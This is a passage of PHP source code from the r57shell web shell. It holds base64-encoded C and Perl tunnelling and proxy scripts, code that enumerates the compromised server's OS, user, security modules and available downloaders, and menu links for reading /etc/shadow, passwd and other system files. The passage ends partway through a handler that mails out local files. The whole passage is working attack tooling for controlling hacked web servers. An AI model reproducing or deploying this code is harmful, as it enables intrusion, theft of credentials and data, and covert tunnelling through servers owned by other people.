vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
if($unix)
 {
 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
 if($safe_mode) { $sysctl = '-'; }
 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
 else  
  {
   $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
   if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
   if(empty($sysctl)) { $sysctl = '-'; }
   setcookie('sysctl',$sysctl);
  }  
 }

if(!isset($_COOKIE[$lang[$language.'_text137']])) {
	$ust_u='';
	if($unix && !$safe_mode){ 
		foreach ($userful as $item) {
			if(which($item)){$ust_u.=$item;} 
		}
	}
	if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
	if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
	if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
	if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
	if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
	if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
	if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
	if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
	
	$ust_u = trim($ust_u);
	setcookie($lang[$language.'_text137'],$ust_u);
}else {
	$ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
}

if(!isset($_COOKIE[$lang[$language.'_text138']])) {
	$ust_d=''; 
	if($unix && !$safe_mode){ 
		foreach ($danger as $item) {
			if(which($item)){$ust_d.=$item;} 
		}
	}
	if(!$safe_mode){ 
		foreach ($danger as $item) {
			if(ps($item)){$ust_d.=$item;} 
		}
	}
	if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
	if(substr($ust_d,0,1)==",") {$ust_d[0]="";} 
	
	$ust_d = trim($ust_d);
	setcookie($lang[$language.'_text138'],$ust_d);
}else {
	$ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
}

if(!isset($_COOKIE[$lang[$language.'_text142']])) {

	$select_downloaders='<select size="1" name=with>';
	if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
	if($unix && !$safe_mode){ 
		foreach ($downloaders as $item) {
			if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";} 
		}
	}
	$select_downloaders .= '</select>';
	if(substr($downloader,0,1)==",") {$downloader[0]="";} 
	
	$downloader=trim($downloader);
	setcookie('select_downloaders',$select_downloaders);
	setcookie('downloader',$downloader);
}else {
	$select_downloaders = $_COOKIE['select_downloaders'];
	$downloader = trim($_COOKIE['downloader']);
}


echo $head;
echo '</head>';

echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=100><font face=Verdana size=2>'.
ws(2).'<b>'.ws(2).'<center>r57shell<br>v.'.$version.'</b><br><br><br></center></font>'.
$fs.'<font face=Verdana size=-2><center>'.$lang[$language.'_text143']."<b>".$tempdir."</b><br>".$select_tempdir.'<br>'.in('submit','submit',0,$lang[$language.'_butt6']).
'</center></font>'.$fe.'</td>'.'<td bgcolor=#cccccc><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";

echo "<br>";

echo ws(2)."PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b>".ws(2);
echo "MySQLi: <b>";
$mysqli_on = @function_exists('mysqli_connect');
if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b>".ws(2);
echo "mSQL: <b>";
$msql_on = @function_exists('msql_connect');
if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b>".ws(2);
echo "SQLite: <b>";
$sqlite_on = @function_exists('sqlite_open');
if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
echo "</b><br>".ws(2);

echo "Safe_mode: <b>";
echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
echo "</b>".ws(2);
echo "Open_basedir: <b>";
if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
else {echo "<font color=green>NONE</font></b>";}
echo ws(2)."Safe_exec_dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_gid: <b>";
if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_include_dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Sql.safe_mode: <b>";
if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}

echo "<br>".ws(2);
echo "Disable functions : <b>";$df='ini_get  disable!';
if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}

if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";


if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};

if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};

if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};


echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?4' title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
if(!$unix) {
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
}else{
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>resolv</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>hosts</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>shadow</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb; 
}
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;

if($unix && !$safe_mode) 
{ 
 echo "<br>".ws(2)."</b>";
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>version</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>free</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>realise1</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>realise2</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;

 echo "<br>".ws(2)."</b>";
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>w</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>who</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>uptime</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>last</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>service</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>fstab</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
}

echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';
echo $font;

if($unix){
echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
 {
 $euserinfo  = @posix_getpwuid(@posix_geteuid());
 $egroupinfo = @posix_getgrgid(@posix_getegid());
 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
 }
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";

if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
 {
 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
 err(6+$res);
 $_POST['cmd']="";  
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
 {  
  if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
  else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  if(!empty($_POST['cmd'])) 
  {
